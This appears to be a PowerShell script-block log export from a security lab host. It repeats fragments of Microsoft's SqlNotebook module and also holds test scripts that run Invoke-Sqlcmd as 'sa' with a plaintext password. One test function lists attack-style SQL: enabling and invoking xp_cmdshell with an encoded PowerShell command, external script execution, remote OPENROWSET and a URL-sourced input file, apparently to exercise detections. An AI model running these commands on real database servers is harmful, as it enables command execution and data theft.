$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.Data.DataTable]) {
# Storing the print Tables into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_ $CellExecutionCount)
} elseif ($_ -is [System.Data.DataRow]) {
6190c129-c88b-44e5-a3e5-f7fc4a5343a9C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0509546Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificate0f6cec8b-ce27-4bc1-b8cd-05e19ca31baf
4104152150x0509333Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11function Test-InvokeSqlcmdPatterns {
Write-Host "`n=== Testing Various Invoke-Sqlcmd Patterns ===" -ForegroundColor Yellow
# Test with URL input file
Write-Host "Testing URL input..." -ForegroundColor Cyan
$url = "https://raw.githubusercontent.com/example/test.sql"
Invoke-Sqlcmd -ServerInstance $Server -InputFile $url -TrustServerCertificate
# Test with dedicated admin connection
Write-Host "Testing DAC connection..." -ForegroundColor Cyan
Invoke-Sqlcmd -ServerInstance $Server -Database $Database -DedicatedAdministratorConnection -TrustServerCertificate
# Test with data exfiltration patterns
Write-Host "Testing data export patterns..." -ForegroundColor Cyan
Invoke-Sqlcmd -ServerInstance $Server -Database $Database -Query "SELECT * FROM sys.server_principals" -OutputAs DataSet
# Test with suspicious queries
Write-Host "Testing suspicious queries..." -ForegroundColor Cyan
$suspiciousQueries = @(
"EXEC sp_configure 'show advanced options', 1; RECONFIGURE;",
"EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;",
"EXEC xp_cmdshell 'powershell.exe -enc BASE64'",
"EXEC master.dbo.sp_execute_external_script",
"SELECT * FROM OPENROWSET('SQLNCLI', 'Server=remote;Trusted_Connection=yes;','SELECT * FROM DB.dbo.Table')"
)
foreach ($query in $suspiciousQueries) {
try {
Invoke-Sqlcmd -ServerInstance $Server -Database $Database -Query $query -TrustServerCertificate
}
catch {
Write-Host "Expected error: $_" -ForegroundColor Yellow
}
}
}23665ff4-5a1d-4fea-bd28-be5655634264C:\Users\Administrator\Desktop\sqlcmd.ps1
4104152150x0509247Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate1cc8ae32-e94b-47c5-bbeb-bece7d0ea9a7
4104152150x0509046Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQuere4172c88-247f-4d4c-ae82-fe830587de9cC:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0509040Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificate65f8b11e-8df9-4d6b-92cc-0c396f82ade3
4104152150x0508839Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.Data.DataTable]) {
# Storing the print Tables into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_ $CellExecutionCount)
} elseif ($_ -is [System.Data.DataRow]) {
# Storing the print row into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_.Table $CellExecutionCount)
}
}
if ($SqlQueryError) {
# Adding the parsed query error from Invoke-Sqlcmd
$NotebookCellOutputs += $(ParseQueryErrorToNotebookOutput($SqlQueryError))
}
if ($SqlQueryExecutionTime) {
# Adding the parsed execution time fr5547386b-c489-4fab-9b32-f20e95dde142C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0508833Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificate7191b4fa-52bf-4fa3-b5a9-927acb5a37ed
4104152150x0508627Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificatedb4f8c9d-fc41-4cd8-80a6-edcf278bcb0f
4104152150x0508382Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate3a716fe6-8eec-4551-a348-2b5b03cf1c86
4104152150x0508175Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificate5ca3b1b8-4184-4681-a863-9ba2a201306b
4104152150x0507968Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificatec680f61e-222e-4808-a98d-63a32919546a
4104152150x0507766Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
